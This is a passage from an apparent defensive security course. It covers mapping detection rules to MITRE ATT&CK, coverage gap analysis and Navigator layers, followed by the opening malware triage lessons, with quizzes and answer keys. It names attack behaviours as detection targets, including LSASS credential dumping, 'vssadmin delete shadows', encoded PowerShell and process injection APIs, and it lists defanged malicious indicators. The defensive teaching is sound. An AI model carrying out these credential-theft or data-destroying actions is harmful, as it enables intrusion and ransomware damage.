4. Unsupported mappings corrupt later analysis.

Mapping detections to techniques

Tagging rules with technique IDs shows what you can detect, but only if the tag reflects real, working telemetry.

Tagging rules

Each detection rule in a SIEM or EDR should carry one or more ATT&CK technique IDs in its metadata. Many rule formats support this directly; Sigma rules use a tags list such as `attack.execution` and `attack.t1059.001`. Tags let you filter rules by technique, report coverage, and link alerts to the matrix during triage. Tag the technique the rule is designed to catch, not every technique that could ever produce a similar log. Over-tagging makes coverage look better than it is and misleads leadership.

Telemetry dependency

A rule only works if its data source is collected. A rule for T1003.001 that depends on process access events to `lsass.exe` (Sysmon event ID 10) is worthless where that event is not logged. For each rule record the required data source and component, the log source, the parsing field names, and whether collection is verified. A coverage claim has three conditions: the rule exists, the data flows, and the rule has been tested. Missing any one means the technique is not truly covered.

Analytic quality

Not all detections of a technique are equal. A rule matching the single string 'mimikatz' catches one tool and is trivial to evade; a rule on suspicious access rights to LSASS from unusual processes catches the behavior. Rate rules by robustness (behavior versus indicator), false positive rate, and the procedures they cover. A technique has many procedures, so one rule usually covers only a slice. Many teams score coverage as none, partial or good, and require a test, such as an atomic simulation, to move up a level.

Keeping tags honest

Review tags when rules change. Retire tags for rules that were disabled or tuned so heavily they no longer fire. Record the date of the last successful test. When an alert fires, record the technique so you can later measure how often each technique truly produces confirmed incidents versus noise. This feedback turns the matrix from a poster into a measurement system for the detection program.

Share the ATT&CK tags with other teams. Threat intelligence analysts tag reports, detection engineers tag rules, and incident responders tag cases. When all three use the same IDs, you can query across them: which techniques did our last five incidents use, which of those have tested rules, and which actors in our intelligence feed use them. That single question is the entire value of the framework in practice, and it only works when tags are consistent and honest.

SIGMA-STYLE TAGS

```
title: Encoded PowerShell Command
status: test
logsource:
  category: process_creation
  product: windows
tags:
  - attack.execution
  - attack.t1059.001
  - attack.defense_evasion
  - attack.t1027
```

WORKED EXAMPLE

A team claims coverage of T1003.001 because a rule exists. The reviewer checks: the rule needs Sysmon event ID 10, but only half the servers run Sysmon, and the rule was last tested a year ago. Coverage is rated partial: tagged, partly collected, untested. The action items are to deploy Sysmon to the remaining servers and run a safe simulation to confirm the alert fires.

KEY TERMS

Sigma: A generic, vendor-neutral rule format with ATT&CK tags.

Data component: A specific telemetry type within a data source, such as Process Creation.

Robustness: How hard a detection is to evade by changing tools or details.

Procedure coverage: The share of real-world variants of a technique a rule catches.

Atomic test: A small safe simulation of a technique to confirm a detection fires.

REMEMBER

- Tag rules with the technique they were designed to catch.
- Coverage needs a rule, working telemetry and a test.
- Rate detections by robustness and false positives.

QUICK CHECK

1. A rule counts as real coverage only when:

- A) It has a tag
- B) The rule exists, data flows and it is tested
- C) It is popular
- D) It has a high severity

2. Which detection is most robust?

- A) Match the string mimikatz
- B) Match one file hash
- C) Match suspicious LSASS access by unusual processes
- D) Match one IP

3. Over-tagging rules causes:

- A) Faster searches
- B) Inflated, misleading coverage
- C) Lower storage cost
- D) Better tuning

4. In Sigma, ATT&CK tags are written as:

- A) attack.t1059.001
- B) TA0002 only
- C) mitre=1
- D) cve-1059

Answers: 1-B 2-C 3-B 4-A

1. All three conditions are needed.
2. Behavior-based logic survives tool changes.
3. Coverage appears better than it is.
4. Sigma uses attack. prefixed tags.

Coverage and gap analysis

You cannot cover every technique. Gap analysis helps you spend limited engineering time on the behaviors that most threaten your organization.

Start with the threat

Coverage analysis begins with a threat model, not the whole matrix. Pick the threat actors and malware that realistically target your sector, using intelligence reports and the Groups and Software pages of ATT&CK. Extract their technique lists. Then compare those lists to your tagged detections. The overlap is covered; the rest are gaps. A retailer, a hospital and a bank face different actors, so their priority lists differ, and a generic 'cover everything' goal wastes effort on techniques nobody in your threat set uses.

Scoring the gaps

For each gap technique weigh four factors: how many relevant actors use it, how much damage it enables, whether the required data is already collected, and how reliably a detection can be written. Techniques used by many actors and by ransomware affiliates, such as T1059.001, T1003.001, T1021.001 and T1486, usually rank high. Techniques with high prevalence but no data source rank as logging projects first. Techniques with noisy, benign-looking activity, such as T1082 System Information Discovery, may rank low because a rule would drown analysts.

Detection is not the only control

A gap does not always require a new alert. Check mitigations: Attack Surface Reduction rules, application control, disabling macros from the internet, MFA and network segmentation may prevent the technique entirely. Prevention plus a lightweight detection can beat a complex rule. Also record where you rely on a single control; if one rule is your only view of T1021.001, a bypass leaves you blind. Layered coverage per critical technique is a better target than one-rule coverage of many techniques.

Reporting and cadence

Present results as a short prioritized list with owner and due date, not a rainbow heatmap alone. Revisit after each quarter or after a major intelligence change. Track metrics such as percent of top-twenty actor techniques with tested detections, mean time to implement a new detection, and confirmed true positives per technique. Avoid vanity metrics like total technique count tagged, which rewards over-tagging rather than protection.

A final caution: ATT&CK describes known behavior, so a complete green map does not mean you are safe. Adversaries invent new procedures, and some activities are not captured as techniques at all. Use the matrix to organize what you know and to expose blind spots, then supplement it with threat hunting, red team exercises and incident lessons learned. Treat coverage as a living estimate that is refreshed whenever the environment, the actors or the matrix version change.

GAP TABLE

Technique	Actors	Data?	Tested	Priority
T1059.001	6/8	yes	yes	covered
T1003.001	5/8	part	no	HIGH
T1021.001	4/8	yes	no	HIGH
T1490	4/8	yes	no	MEDIUM
T1082	7/8	yes	-	LOW (noisy)

WORKED EXAMPLE

A regional hospital identifies three ransomware affiliates as its main threat. Their shared techniques include T1003.001, T1021.001 and T1490. Detections exist for none with tests. Data for T1021.001 is already collected from Windows logon events (4624, logon type 10), so that rule is quick; T1003.001 needs Sysmon rollout first. The team schedules T1021.001 this month and the Sysmon rollout next.

KEY TERMS

Gap: A technique relevant to your threats with no working detection or prevention.

Threat model: The set of actors and behaviors most likely to target your organization.

Prevalence: How many relevant actors or incidents use a technique.

Layered coverage: More than one control, preventive or detective, for a critical technique.

Vanity metric: A number that looks good but does not measure protection.

REMEMBER

- Compare detections against actor technique lists.
- Rank gaps by prevalence, impact, data availability and feasibility.
- Prevention and layered detection both close gaps.

QUICK CHECK

1. Gap analysis should begin with:
 - A) The full matrix
 - B) A threat model of relevant actors
 - C) Vendor marketing
 - D) Random sampling
2. A high-prevalence technique with no data source is first a:
 - A) Rule-writing task
 - B) Logging project
 - C) False positive
 - D) Mitigation M1017
3. Which is a vanity metric?
 - A) Tested detections for top actor techniques
 - B) Total number of tagged techniques
 - C) Mean time to detect
 - D) Confirmed true positives per technique
4. A gap may be closed without an alert by:
 - A) Ignoring it
 - B) A preventive mitigation such as application control
 - C) Deleting the technique
 - D) Lowering log retention

Answers: 1-B 2-B 3-B 4-B

1. Prioritize against realistic threats.
2. Without telemetry no rule can work.
3. Raw tag counts reward over-tagging.
4. Mitigations can prevent the technique.

ATT&CK Navigator and layers

Navigator turns your analysis into a shareable visual, and layers keep the underlying data portable and versioned.

What Navigator is

ATT&CK Navigator is a free, open-source web tool that displays the matrix and lets you annotate it. You can run it from the public MITRE-hosted page or host your own copy so no data leaves your network, which matters for sensitive coverage information. Everything you annotate is saved as a layer, a JSON file you can download, share and reopen. Layers are independent of the ATT&CK content version, but each layer records the version and Navigator version it was built for, so older layers remain readable.

Scores, colors and comments

Each technique cell can carry a score (numeric, often 0 to 100), a color, a comment and metadata. A common scheme gives detection coverage a score from 0 to 3 or 0 to 100 and a gradient color from red to green. Comments hold the rule names, data sources and test dates. You can filter by platform, such as Windows, and hide sub-techniques you do not track. Keep a legend in the layer description so viewers know what colors mean; a heatmap without a legend invites misreading.

Combining layers

Create separate layers for each question: one for the threat actor technique list (score 1 for used), one for your detections (score 1 for covered), and one for prevention. Use the layer-combination expression, such as a+b, to merge scores; with actor score 1 and detection score 1, a cell scoring 1 is an uncovered threat technique. Some teams assign the actor layer 2 and detection layer 1 so that results of 2 equal gaps, 3 equal covered threats and 1 equals coverage without a known threat need. Document the expression with the layer.

Exporting and presenting

Export as JSON for storage in version control, and as SVG or Excel for reports. The JSON stores a list of techniques with fields techniqueID, tactic, score, color and comment. Version control gives you history of how coverage changed. In presentations, show one clear message per slide, such as the top five gaps, rather than the whole matrix. Pair the image with the prioritized action list from your gap analysis so leadership sees decisions, not decoration.

Keep the layer files small, named consistently and dated, such as detections-2026-Q3.json. Store them next to the rule repository so that a rule change and the coverage change appear in the same review. Some teams generate the detection layer automatically from rule tags with a script, which removes manual drift. Whatever you do, avoid hand-colored heatmaps that nobody can reproduce; a layer that cannot be regenerated or explained will be distrusted the first time someone challenges it.

LAYER JSON FRAGMENT

```
{
  "name": "Detections 2026-Q3",
  "domain": "enterprise-attack",
  "techniques": [
    {
      "techniqueID": "T1059.001", "tactic": "execution",
      "score": 2, "comment": "Rule PS-ENC-01, tested 2026-08-14"
    }
  ]
}
```

WORKED EXAMPLE

The analyst builds layer A with scores of 1 for every technique used by an actor group, and layer B with scores of 1 for tested detections. Combining with a+b shows cells at 2 for covered threat techniques and cells at 1 for either an untested gap or an unneeded detection. She filters to score 1 from layer A only, exports a list of five uncovered techniques, and attaches the SVG and the JSON to her quarterly review.

KEY TERMS

Layer: A saved JSON file holding annotations on the matrix.

Score: A number on a technique cell used for coloring and combining.

Layer expression: A formula like a+b that combines layers.

Self-hosting: Running Navigator on your own server so data stays private.

Legend: The explanation of what scores and colors mean.

REMEMBER

- Navigator layers are portable JSON annotations.
- Use separate layers for threat, detection and prevention, then combine.
- Always include a legend and a prioritized action list.

QUICK CHECK

1. A Navigator layer is stored as:
 - A) A PDF
 - B) A JSON file
 - C) A SIEM rule
 - D) A packet capture
2. Why self-host Navigator?
 - A) It is faster
 - B) Coverage data stays inside your network
 - C) It adds techniques
 - D) It is required
3. What does a layer expression a+b do?
 - A) Deletes layers
 - B) Combines scores from two layers
 - C) Exports SVG
 - D) Renames techniques
4. Which layer field holds free text such as rule names?
 - A) techniqueID
 - B) tactic
 - C) comment
 - D) domain

Answers: 1-B 2-B 3-B 4-C

1. Layers are JSON documents.
2. Coverage information is sensitive.
3. It merges scores to show overlaps and gaps.
4. Comments carry rule names and test dates.

Map the intrusion

SCENARIO

You receive notes from a fictional incident at example.com. A phishing email delivered invoice.docm to a user on host WS-14 (192.0.2.44). The macro launched PowerShell, a credential dump followed, the attacker used RDP to reach FS-02 (192.0.2.60), zipped documents and uploaded them to a file-sharing site, then encrypted shares. The goal is a clean diagram a reviewer could audit event by event, with each placement justified by an observed action rather than assumption.

OBJECTIVE

Place each observed event on the correct tactic column with the right technique ID.

STEPS IN THE SIMULATOR

- 1 **Do:** Drag 'phishing email with invoice.docm' to a column

Simulator shows:

Placed under Initial Access. Suggested ID: T1566.001

- 2 **Do:** Drag 'user opened attachment, macro ran PowerShell encoded command'

Simulator shows:

Placed under Execution. IDs: T1204.002, T1059.001

- 3 **Do:** Drag 'lsass.exe memory read by rundll32'

Simulator shows:

Placed under Credential Access. ID: T1003.001

- 4 **Do:** Drag 'RDP logon to FS-02'

Simulator shows:

Placed under Lateral Movement. ID: T1021.001

- 5 **Do:** Drag 'documents.zip created on FS-02'

Simulator shows:

Placed under Collection. ID: T1560

- 6 **Do:** Drag 'upload to file-sharing site' and 'shares encrypted'

Simulator shows:

Exfiltration T1567; Impact T1486. Diagram complete: 7 tactics linked in time order.

ANSWER

The chain is Initial Access T1566.001, Execution T1204.002 and T1059.001, Credential Access T1003.001, Lateral Movement T1021.001, Collection T1560, Exfiltration T1567 and Impact T1486, ordered by timestamp. Note the gaps in the story, such as the unknown initial access timing, and list them as follow-up questions.

Hint shown in the app: Ask what the attacker was trying to achieve at each step; that is the tactic.

Tag the rules

SCENARIO

Your fictional SIEM holds ten detection rules with no ATT&CK tags. Management wants a coverage report by Friday. You must assign each rule a technique ID and write the data source it needs, without over-tagging. Management expects the report to be defensible, so each tag must come with a short note about the log field the rule uses.

OBJECTIVE

Tag ten rules with technique IDs and required data sources.

STEPS IN THE SIMULATOR

- 1 **Do:** Open rule 'Encoded PowerShell command line'

Simulator shows:

Query on process_creation CommandLine contains -enc. Tag T1059.001. Needs: Process Creation with command line.

- 2 **Do:** Open rule 'Scheduled task created via schtasks'

Simulator shows:

Event ID 4698 or Sysmon 1. Tag T1053.005.

- 3 **Do:** Open rule 'New Run key value'

Simulator shows:

Sysmon event 13. Tag T1547.001. Needs: Registry Key Modification.

- 4 **Do:** Open rule 'LSASS access with 0x1010 rights'

Simulator shows:

Sysmon event 10. Tag T1003.001. Needs: Process Access.

- 5 **Do:** Open rule 'vssadmin delete shadows'

Simulator shows:

Process creation. Tag T1490.

- 6 **Do:** Open rule 'Logon type 10 from new source'

Simulator shows:

Event 4624. Tag T1021.001. Needs: Logon Session Creation.

- 7 **Do:** Open rule 'Security log cleared (1102)'

Simulator shows:

Tag T1070.001. Needs: Windows event log.

- 8 **Do:** Save all ten and view report

Simulator shows:

Report: 10 rules tagged, 3 rules flagged 'data source not collected on 40 percent of hosts'.

ANSWER

Tags: T1059.001, T1053.005, T1547.001, T1003.001, T1490, T1021.001, T1070.001 and the remaining rules by their behavior, each with the matching data source. Flag rules whose data source is not collected everywhere as partial coverage. Also record the test date for each rule so that partial or untested coverage is distinguishable from verified coverage.

Hint shown in the app: Match the log field the rule uses to the data component, then to the technique.

Build a Navigator layer

SCENARIO

A fictional ransomware group, 'Group-X', is your top threat. You have its technique list and your list of tested detections. Build layers and read the gap view to decide where to focus next. Treat the numbers as a planning aid; the point is to read which cells are threats without detections and decide what to do about them.

OBJECTIVE

Combine actor and detection scores and read the uncovered techniques.

STEPS IN THE SIMULATOR

- 1 Do:** Create layer 'Actor' and score 1 for T1566.001, T1059.001, T1003.001, T1021.001, T1490, T1486

Simulator shows:

Layer saved: 6 techniques scored 1.

- 2 Do:** Create layer 'Detections' and score 1 for T1059.001, T1486

Simulator shows:

Layer saved: 2 techniques scored 1.

- 3 Do:** Set an expression a+b into a third layer

Simulator shows:

Combined layer: T1059.001=2, T1486=2, others=1.

- 4 Do:** Set a comment legend: 2 covered threat, 1 gap

Simulator shows:

Legend stored in layer description.

- 5 Do:** Filter to score 1 and view the list

Simulator shows:

Gaps: T1566.001, T1003.001, T1021.001, T1490.

- 6 Do:** Export JSON

Simulator shows:

File gap-view.json exported (6 techniques).

ANSWER

Covered threat techniques are T1059.001 and T1486. Gaps are T1566.001, T1003.001, T1021.001 and T1490, which become the prioritized list pending data availability. The combined view lets you hand management a short ordered list instead of an unreadable heatmap.

Hint shown in the app: Cells that only the actor layer marks are the gaps; the sum shows overlap.

Choose the next detection

SCENARIO

Your lead asks which one uncovered technique you will build next. Options: T1003.001 (needs Sysmon, 50 percent hosts), T1021.001 (Windows logon events already collected), T1082 (noisy). Group-X uses all three. Your lead values reasoning more than the final pick, so explain the trade-offs aloud before committing to one technique.

OBJECTIVE

Justify one choice based on actor use and available logs.

STEPS IN THE SIMULATOR

- 1 **Do:** Ask lead: how many actors use each?

Simulator shows:

Lead: 'T1003.001 and T1021.001 are used by every affiliate; T1082 by all but it is very noisy.'

- 2 **Do:** Ask: which logs do we already collect?

Simulator shows:

Lead: 'Event 4624 with logon type is in the SIEM; Sysmon is on half the servers.'

- 3 **Do:** Propose T1021.001 first

Simulator shows:

Lead: 'Why not LSASS?'

- 4 **Do:** Explain: data exists now and the rule is feasible with low noise

Simulator shows:

Lead: 'Good. And LSASS?'

- 5 **Do:** Propose a Sysmon rollout ticket for T1003.001

Simulator shows:

Lead: 'Approved. Write the rule, test it, then tag it.'

- 6 **Do:** Submit your plan

Simulator shows:

Plan accepted: T1021.001 rule this sprint, Sysmon rollout next, T1082 deferred.

ANSWER

Build T1021.001 first because it is widely used by relevant actors, the required logon data is already collected and it is feasible with modest noise. Open a logging project for T1003.001 and defer noisy T1082. Document why the others were deferred so the decision can be revisited when data or threats change.

Hint shown in the app: Weigh actor use, data availability and noise together.

MITRE ATT&CK for Defenders: 10 questions, 80% to pass

1. How many traditional Enterprise tactics are there?
 - A) 10
 - B) 12
 - C) 14
 - D) 20
2. What is T1566.001?
 - A) PowerShell
 - B) Spearphishing attachment
 - C) LSASS dumping
 - D) Scheduled task
3. T1003.001 represents:
 - A) Credential dumping from LSASS memory
 - B) Archive collected data
 - C) RDP
 - D) Web shell
4. Which is a tactic ID?
 - A) T1059
 - B) TA0002
 - C) M1017
 - D) T1059.001
5. Mapping should be based on:
 - A) Tool names only
 - B) Observed behavior with evidence
 - C) Attacker nationality
 - D) Guess
6. Real coverage of a technique requires:
 - A) A tag only
 - B) Rule, working data and a test
 - C) A dashboard
 - D) A vendor claim
7. Which detection is the most robust?
 - A) Hash match
 - B) Single tool string
 - C) Behavioral logic on suspicious access
 - D) One IP match
8. A+b in Navigator:
 - A) Combines layer scores
 - B) Deletes techniques
 - C) Exports PDF
 - D) Updates ATT&CK
9. A high-risk technique with no telemetry is first a:
 - A) Logging project
 - B) Closed item
 - C) False positive
 - D) Rule retirement
10. Why self-host Navigator?
 - A) Keep coverage data private
 - B) Add techniques
 - C) Run faster rules
 - D) Required by MITRE

Answers: 1-C 2-B 3-A 4-B 5-B 6-B 7-C 8-A 9-A 10-A

1. The traditional matrix lists 14 tactics.
2. T1566.001 is Phishing: Spearphishing Attachment.
3. It is OS Credential Dumping: LSASS Memory.
4. TA numbers identify tactics.
5. Evidence-backed behavior is the basis.
6. All three conditions are needed.
7. Behavior survives tool changes.
8. Layer expressions merge scores.
9. Collect data before writing rules.
10. Coverage data is sensitive.

Malware Triage

Intermediate | 6 lessons | 4 simulated labs | checkpoint | about 4h 40m

Malware triage is the fast, careful first look at a suspicious file. This module covers safe handling and lab hygiene, hashing and file identification, static triage with strings and PE headers, reading sandbox reports, using VirusTotal and other reputation sources responsibly, and recognizing common families such as loaders, infostealers, RATs, ransomware and webshells. The goal is a documented verdict and usable indicators without ever risking production systems. Every lesson pairs concepts with defensive practice and short drills.

BY THE END YOU CAN

- + Triage a suspicious file with hashes, strings and metadata
- + Read sandbox reports to describe malware behavior
- + Handle samples safely and look up reputation correctly

IN THIS MODULE

Lesson 1 Safe handling and lab hygiene

Lesson 2 Hashes and file identification

Lesson 3 Strings and static triage

Lesson 4 Sandbox reports and behavior

Lesson 5 VirusTotal and reputation

Lesson 6 Common malware families

Lab 1 Hash and identify (Terminal)

Lab 2 Strings triage (Terminal)

Lab 3 Read a sandbox report (Log viewer)

Lab 4 Classify the family (Scenario)

Checkpoint 10 questions, 80% to pass

Safe handling and lab hygiene

One careless double-click can turn a sample into a real incident. Safe handling rules protect you, your colleagues and your network.

Why isolation matters

Malware triage means deliberately touching hostile files, so the first rule is that nothing runs where it can reach production. Use a dedicated analysis machine or virtual machine with no shared folders, no clipboard sharing, no connection to the corporate LAN and a snapshot you can revert after each session. Network access should be either fully disabled or routed through a simulated internet service such as INetSim, so the sample cannot contact a real command server or move laterally. Never analyze on your daily workstation, and never open samples from the mail client or browser that holds your credentials.

Transport and storage

Samples travel in password-protected archives, by long-standing convention with the password 'infected' (or 'malware'). The archive prevents antivirus on mail gateways and endpoints from silently deleting the file and stops accidental execution by someone browsing the share. Store samples in a clearly labeled location with restricted access, and name files by their hash rather than their original name, for example 3f2a...e91.bin. Remove the executable extension, because a file named invoice.exe is one click from trouble. Keep a log of who received the sample and why.

Treat the sample repository like evidence storage. Limit access to the analysts who need it, keep immutable copies of originals, and work only on copies. If you must share a sample with a vendor or another team, record the recipient, the date, the hash and the approval. Delete working copies when the case closes according to your retention policy, and never leave samples on shared drives where antivirus or a curious colleague may trigger them.

Defanging indicators

When you write indicators into tickets, chat or email, defang them so they cannot be clicked or auto-fetched:

hxxp://malicious-example[.]com/payload, 203.0[.]113[.]9 and user[@]example[.]com. Link previews in chat tools and mail clients can contact the server and leak that you looked at it. Defanged text is reversible by tooling, and platforms such as CyberChef can refang it. Apply the same care to screenshots that contain live links, and avoid pasting full sample content into public tools.

Process and ethics

Define in advance what you are allowed to do: which tools, which networks, whether samples may be uploaded to third parties, and who approves it. Record every step, including timestamps and file hashes, so findings are reproducible. Treat a sample as evidence if an incident is open: changing it, or running it on the original system, may destroy proof. Finally, remember that samples may contain real victim data, such as stolen credentials, so handle that data under your organization's privacy rules and report accidental exposure immediately.

LAB CHECKLIST

- [] Analysis VM, snapshot taken, no shared folders
- [] Network: host-only or INetSim, no real internet
- [] Sample in password-protected zip (infected)
- [] File renamed to <sha256>.bin
- [] Indicators defanged: hxxp://example[.]com
- [] Revert snapshot after the session

WORKED EXAMPLE

Analyst Mira receives a suspicious attachment from a user on 198.51.100.0/24. She does not open it on her laptop. She copies the file into an isolated VM, renames it to its SHA-256 value with a .bin extension, takes a snapshot, and writes her notes with defanged domains. After static work she reverts the snapshot, stores the password-protected archive in the case folder, and records every action and hash in the ticket.

KEY TERMS

Isolation: Separating an analysis system from production networks and data.

Snapshot: A saved VM state that can be restored after analysis.

Defanging: Altering indicators, such as hxxp and [.] , so they cannot be clicked or fetched.

InetSim: A tool that simulates internet services for contained analysis.

Infected archive: A password-protected archive using the convention password 'infected'.

REMEMBER

- Isolate, snapshot and disconnect before touching samples.
- Use infected archives and hash-based names.
- Defang indicators and log every action.

QUICK CHECK

1. Where should an unknown sample be analyzed?
 - A) On your work laptop
 - B) In an isolated VM
 - C) On a file server
 - D) In your mailbox
2. Why use password-protected archives for samples?
 - A) They load faster
 - B) They stop accidental execution and AV deletion
 - C) They remove malware
 - D) They encrypt the network
3. Which is a defanged URL?
 - A) http://example.com
 - B) hxxp://example[.]com
 - C) https://example.com
 - D) ftp://example.com
4. After a session in the VM you should:
 - A) Keep running the sample
 - B) Revert to a clean snapshot
 - C) Join it to the domain
 - D) Email the sample

Answers: 1-B 2-B 3-B 4-B

1. Isolation keeps hostile code away from production.
2. The archive prevents silent deletion and accidental runs.
3. hxxp and [.] prevent clicks and fetches.
4. Reverting restores a known-clean state.

Hashes and file identification

A hash is the fingerprint you use to track, share and look up a file without exposing it. File type checks stop you from trusting a misleading name.

Cryptographic hashes

A hash function turns any file into a fixed-length digest. MD5 produces 128 bits and SHA-1 160 bits; both have known collision weaknesses, but they remain widely used as identifiers in older feeds. SHA-256 produces 256 bits and is the standard for modern reporting. On Linux, run `sha256sum sample.bin`; on Windows PowerShell, `Get-FileHash -Algorithm SHA256 sample.bin`. Changing even a single byte produces a completely different hash, so an exact-match hash proves identity but cannot detect a slightly modified variant. Always record at least SHA-256, and MD5 if your feeds still use it.

Fuzzy hashes and imphash

Fuzzy hashing finds similar files. `ssdeep` uses context-triggered piecewise hashing and outputs a string such as `768:abc...:xyz`, and `ssdeep -m` compares files and gives a similarity score from 0 to 100. `TLSH` is another similarity hash. For Windows executables the `import hash`, `imphash`, is an MD5 of the ordered imported function names, which often matches variants built from the same source even after recompilation. Use these for clustering and pivoting, remembering that unrelated files can occasionally match and that packers distort results.

Identifying the real type

Extensions lie; magic bytes tell the truth. A Windows PE file starts with 'MZ' (hex 4D 5A), an ELF with 7F 45 4C 46, a ZIP or modern Office file with 'PK' (50 4B 03 04), a PDF with '%PDF', and a legacy Office document with D0 CF 11 E0. The `file` command reads these signatures: `file invoice.pdf` may answer 'PE32 executable (GUI) Intel 80386, for MS Windows'. A hex viewer or `xxd -l 16` shows the first bytes. When the claimed and detected types disagree, treat the file as suspicious.

Extension tricks

Attackers abuse display behavior. Windows hides known extensions by default, so `invoice.pdf.exe` may appear as `invoice.pdf`. A right-to-left override character (U+202E) can reverse part of a name so that `'invoice_exe.pdf'` actually ends with a different extension. Long names push the real extension out of view, and archives may hold `.lnk` or `.iso` files that launch hidden payloads. Enable extension display, inspect real names in a terminal and compare against the detected type. Also note file size, timestamps and embedded metadata, but remember timestamps can be forged.

Always verify a hash from a trusted tool rather than the name or the sender's claim. When a colleague passes along a hash in chat, you can search it in reputation services without touching the file, which is the safest first step. If the hash is unknown, that does not mean the file is clean; it only means no one has submitted it or it is brand-new and custom-built, which is itself a mild signal in targeted attacks.

TERMINAL OUTPUT

```
$ sha256sum 3f2a.bin
9b1c0d...e47a 3f2a.bin
$ file invoice.pdf
invoice.pdf: PE32 executable (GUI) Intel 80386, for MS Windows
$ xxd -l 8 invoice.pdf
00000000: 4d5a 9000 0300 0000 MZ.....
$ ssdeep -m known.db 3f2a.bin
3f2a.bin matches known.db:famA.bin (87)
```

WORKED EXAMPLE

A mail gateway quarantines `invoice.pdf` at 192.0.2.25's mailbox. The analyst runs `file` and gets 'PE32 executable', and `xxd` shows the bytes 4D 5A, so it is a program wearing a document name. SHA-256 is searched in the threat feed and returns a known loader. `ssdeep` also matches another sample at 87, linking this to an earlier campaign, so the case is escalated and the sender domain is blocked.

KEY TERMS

SHA-256: A 256-bit cryptographic hash used as the standard file identifier.

ssdeep: A fuzzy hash that scores similarity between files from 0 to 100.

imphash: A hash of a PE file's imported functions used to cluster variants.

Magic bytes: Leading bytes that identify a real file format, such as MZ for PE.

Right-to-left override: A Unicode control character that reverses text and disguises extensions.

REMEMBER

- Record SHA-256 for every sample, and MD5 if feeds use it.
- Use ssdeep and imphash to cluster variants.
- Trust magic bytes, not extensions.

QUICK CHECK

1. Which bytes begin a Windows PE file?

- A) PK
- B) MZ
- C) %PDF
- D) 7F ELF

2. A fuzzy hash is useful for:

- A) Proving exact identity
- B) Finding similar variants
- C) Encrypting files
- D) Hiding samples

3. invoice.pdf is reported by file as PE32 executable. This means:

- A) It is a safe PDF
- B) The extension is misleading
- C) The file is encrypted
- D) It is a log

4. Changing one byte of a file changes its SHA-256:

- A) Slightly
- B) Completely
- C) Not at all
- D) Only the first character

Answers: 1-B 2-B 3-B 4-B

1. PE files begin with MZ, 4D 5A.
2. ssdeep scores similarity.
3. The real format is an executable.
4. Hashes show an avalanche effect.

Strings and static triage

Static triage lets you form a good hypothesis about a file in minutes, without running it and without risk of detonation.

Strings

The strings utility extracts printable character sequences from a binary. Run `strings -n 8 sample.bin` for ASCII and `strings -el sample.bin` for 16-bit little-endian Unicode, which Windows programs commonly use. Look for URLs and domains, IP addresses, file paths, registry keys such as `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, user agents, commands like `cmd.exe /c`, base64 blobs, ransom note text, mutex names, PDB paths that leak developer usernames, and error messages. FLOSS (FireEye Labs Obfuscated String Solver) can also recover stack and encoded strings that plain strings misses.

Combine strings with context. A URL inside a legitimate updater is unremarkable, but the same URL next to `cmd.exe /c` and a hard-coded user agent is suspicious. Search distinctive strings, such as a mutex or typo-laden error message, in reputation services and threat reports, because they often match known families. Also check the resources section: embedded executables, scripts or encrypted blobs in `.rsrc` are a common way to carry the next stage.

PE headers and imports

The PE format begins with the DOS header (MZ), points to the PE header and lists sections such as `.text` (code), `.data`, `.rdata` and `.rsrc` (resources). Tools like `pefile`, `PE-bear`, `Detect It Easy` and `CFF Explorer` show the compile timestamp (easily forged), the section table and the import table. Imported API names hint at capability: `VirtualAlloc`, `WriteProcessMemory` and `CreateRemoteThread` suggest injection; `URLDownloadToFile` and `InternetOpen` suggest download or network use; `RegSetValueEx` suggests persistence; `CryptEncrypt` suggests encryption. Few imports plus `LoadLibrary` and `GetProcAddress` suggest the program resolves APIs at runtime to hide them.

Packers and entropy

Packers compress or encrypt a program and unpack it in memory at run time. Signs include section names like `UPX0` and `UPX1`, a very small import table, a large resource section, and a high ratio between raw and virtual size. Entropy measures randomness on a scale from 0 to 8; text and normal code sit roughly between 4 and 6.5, while values above about 7 across a section suggest compression or encryption. High entropy is not proof of malice because legitimate installers are packed too, but together with few imports and odd section names it is a strong hint.

Forming a hypothesis

Combine the clues into a short, testable statement: 'a 32-bit dropper, probably UPX-packed, that downloads a payload from a hard-coded URL and sets a Run key'. State confidence and what would confirm it. Static analysis cannot prove behavior, so you then decide whether to detonate in a sandbox, search intelligence for the indicators, or just block and report. Note extracted indicators in defanged form. Do not attempt to reverse engineer deeply unless your role requires it; a triage analyst's job is a fast, accurate, documented verdict.

TERMINAL OUTPUT

```
$ strings -n 8 3f2a.bin | grep -iE 'http|run|mutex'
http://update-check[.]example[.]com/gate.php
Software\Microsoft\Windows\CurrentVersion\Run
Global\Mtx_8841af
$ diec 3f2a.bin
PE32 ; Packer: UPX ; Entropy .text 7.82
```

WORKED EXAMPLE

Strings on a sample reveal a defanged URL `update-check[.]example[.]com/gate.php`, a Run key path and a mutex named `Global\Mtx_8841af`. The import table has only `LoadLibrary` and `GetProcAddress` and a section called `UPX1` with entropy 7.8. The analyst hypothesizes a packed downloader with registry persistence, records the indicators, and sends the sample for sandbox detonation to confirm the network behavior.

KEY TERMS

strings: A utility that prints readable text sequences from a binary file.

Import table: The list of external API functions a PE file uses.

Packer: A tool that compresses or encrypts an executable to hide its code.

Entropy: A measure of data randomness from 0 to 8, high in packed content.

Mutex: A named object malware uses to ensure only one instance runs.

REMEMBER

- Strings, imports and sections give quick capability clues.
- Packing shows as high entropy, odd section names and few imports.
- Write a testable hypothesis and defanged indicators.

QUICK CHECK

1. A high-entropy section with few imports suggests:
 - A) A text file
 - B) Packing or encryption
 - C) A driver
 - D) A clean installer only
2. Which API pair suggests process injection?
 - A) WriteProcessMemory and CreateRemoteThread
 - B) GetTickCount and Sleep
 - C) MessageBox and ExitProcess
 - D) CloseHandle and ReadFile
3. Why use strings -el?
 - A) Find Unicode 16-bit strings
 - B) Encrypt strings
 - C) List imports
 - D) Show entropy
4. Static analysis can prove:
 - A) Actual runtime behavior
 - B) Capability hints, not behavior
 - C) Network connections made
 - D) Payload decrypted

Answers: 1-B 2-A 3-A 4-B

1. These signs together point to a packed binary.
2. These are classic injection APIs.
3. Windows programs often store UTF-16 text.
4. Static work forms a hypothesis only.

Sandbox reports and behavior

A sandbox runs the sample for you and records what it does. Reading the report well converts raw telemetry into a verdict and detection ideas.

What a sandbox does

